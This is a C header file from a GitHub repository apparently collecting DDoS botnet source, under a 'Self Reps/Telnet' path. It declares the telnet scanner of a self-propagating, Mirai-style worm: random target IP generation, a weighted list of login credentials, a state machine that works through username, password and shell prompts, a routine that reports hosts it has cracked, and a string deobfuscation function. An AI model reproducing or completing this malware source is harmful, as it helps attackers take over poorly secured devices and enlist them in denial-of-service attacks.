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R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
 Path: blob/master/Botnets/Self Reps/Telnet/telnet.h
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#pragma once

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#include <stdint.h>

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#include "includes.h"

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#ifdef DEBUG

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#define SCANNER_MAX_CONNS   128

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#define SCANNER_RAW_PPS     160

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#else

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#define SCANNER_MAX_CONNS   128

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#define SCANNER_RAW_PPS     160

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#endif

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#define SCANNER_RDBUF_SIZE  256

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#define SCANNER_HACK_DRAIN  64

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struct scanner_auth {

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    char *username;

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    char *password;

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    uint16_t weight_min, weight_max;

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    uint8_t username_len, password_len;

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};

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struct scanner_connection {

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    struct scanner_auth *auth;

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    int fd, last_recv;

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    enum {

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        SC_CLOSED,

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        SC_CONNECTING,

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        SC_HANDLE_IACS,

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        SC_WAITING_USERNAME,

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        SC_WAITING_PASSWORD,

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        SC_WAITING_PASSWD_RESP,

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        SC_WAITING_ENABLE_RESP,

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        SC_WAITING_SYSTEM_RESP,

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        SC_WAITING_SHELL_RESP,

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        SC_WAITING_SH_RESP,

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        SC_WAITING_TOKEN_RESP

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    } state;

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    ipv4_t dst_addr;

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    uint16_t dst_port;

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    int rdbuf_pos;

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    char rdbuf[SCANNER_RDBUF_SIZE];

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    uint8_t tries;

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};

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void scanner_init();

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void scanner_kill(void);

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static void setup_connection(struct scanner_connection *);

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static ipv4_t get_random_ip(void);

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static int consume_iacs(struct scanner_connection *);

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static int consume_any_prompt(struct scanner_connection *);

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static int consume_user_prompt(struct scanner_connection *);

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static int consume_pass_prompt(struct scanner_connection *);

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static int consume_resp_prompt(struct scanner_connection *);

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static void add_auth_entry(char *, char *, uint16_t);

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static struct scanner_auth *random_auth_entry(void);

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static void report_working(ipv4_t, uint16_t, struct scanner_auth *);

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static char *deobf(char *, int *);

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static BOOL can_consume(struct scanner_connection *, uint8_t *, int);

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